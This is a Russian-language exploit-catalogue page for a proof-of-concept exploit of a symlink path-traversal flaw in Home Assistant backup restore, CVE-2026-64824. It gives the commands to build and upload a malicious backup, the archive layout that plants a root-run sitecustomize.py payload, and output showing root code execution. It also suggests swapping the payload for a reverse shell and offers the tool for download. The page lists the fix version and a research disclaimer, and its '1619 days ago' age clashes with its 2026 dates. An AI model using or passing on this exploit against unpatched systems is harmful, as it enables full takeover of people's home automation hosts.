Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-64824-PoC — CVE-2026-64824 — Home Assistant: обход пути через символьную ссылку при восстановлении резервной копии → root RCE. Первый рабочий PoC, проверено на реальном HA 2026.5.4 (перезапись sitecustomize.py). GHSA-cwh8-w64c-4j5h | Kitploit
Инструменты/GitHubGitHub/boreas37/cve-2026-64824-poc
Безопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubboreas37/cve-2026-64824-poc

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant: обход пути через символьную ссылку при восстановлении резервной копии → root RCE. Первый рабочий PoC, проверено на реальном HA 2026.5.4 (перезапись sitecustomize.py). GHSA-cwh8-w64c-4j5h

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1619 дней назадЕщё не проверено

CVE-2026-64824 — Обход пути через симлинк в резервном копировании/восстановлении Home Assistant Core → RCE

CVSS 8.4 (критический) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

TL;DR

Аутентифицированный злоумышленник (администратор) загружает специально созданный tar-архив резервной копии. Путь восстановления извлекает внутренний homeassistant.tar.gz с filter="fully_trusted" и проверяет только имена членов архива — но никогда не проверяет linkname у SYMTYPE. Симлинк, указывающий на абсолютный путь (например, site-packages/ Python), обрабатывается, поэтому sitecustomize.py, записанный после него, оказывается за пределами каталога извлечения и создаётся с правами root (официальный Docker-образ запускает HA от root). При следующем запуске Python он автоматически импортируется → RCE с правами root.

Проверено (2026-08-10)

✅ Реальный Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):

root@kitploit:~
POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py разместился в /usr/local/lib/python3.14/site-packages/ (владелец — root)

✅ Негативная проверка: tarfile в Python 3.14.5 отвергает абсолютные симлинки (FileExistsError); Python 3.14.2 (поставляется с HA 2026.5.x) извлекает их — поэтому старые сборки эксплуатируемы. Исправлено в HA 2026.7.0.

Баг

homeassistant/backup_restore.py (~v2026.5.x):

root@kitploit:~
istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path() отклоняет абсолютные имена и обход через .., но член SYMTYPE с безобидным именем и абсолютным linkname проходит фильтр без изменений, а fully_trusted указывает tarfile не проверять его.

Эксплойт

root@kitploit:~
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

Формат резервной копии (v2, соответствует реальным резервным копиям HA):

root@kitploit:~
outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

Любой запуск процесса Python (перезапуск HA, python3 ... в контейнере) запускает sitecustomize.py, который выполняет id > /tmp/HA_PWNED_64824 с правами root. Замените payload на reverse shell для полного контроля.

Воздействие

  • Полный RCE с правами root на установках Home Assistant OS/Container
  • Восстановление резервной копии доступно любому аутентифицированному администратору (а также пользователям с правами на резервное копирование/восстановление), включая сценарий «Restore backup» в интерфейсе
  • Поскольку восстановление сначала заменяет каталог конфигурации, атака работает даже когда конфигурация заблокирована иным образом

Исправление

Обновитесь до HA 2026.7.0+ (восстановление теперь использует строгий tar-фильтр, который отклоняет симлинки, выходящие за пределы каталога извлечения).

Хронология

  • 2026-07: Уязвимость раскрыта VulnCheck, опубликован GHSA-cwh8-w64c-4j5h
  • 2026-08-10: Данный PoC — первый публично работающий эксплойт с полным подтверждением RCE с правами root на реальном экземпляре 2026.5.4
  • На момент публикации эксплуатации в реальных атаках не наблюдалось

Отказ от ответственности

Только для исследовательских и образовательных целей. Уязвимость уже была раскрыта (GHSA-cwh8-w64c-4j5h) и исправлена в 2026.7.0; данный репозиторий демонстрирует цепочку эксплуатации для защитников и исследователей.

Скачать инструмент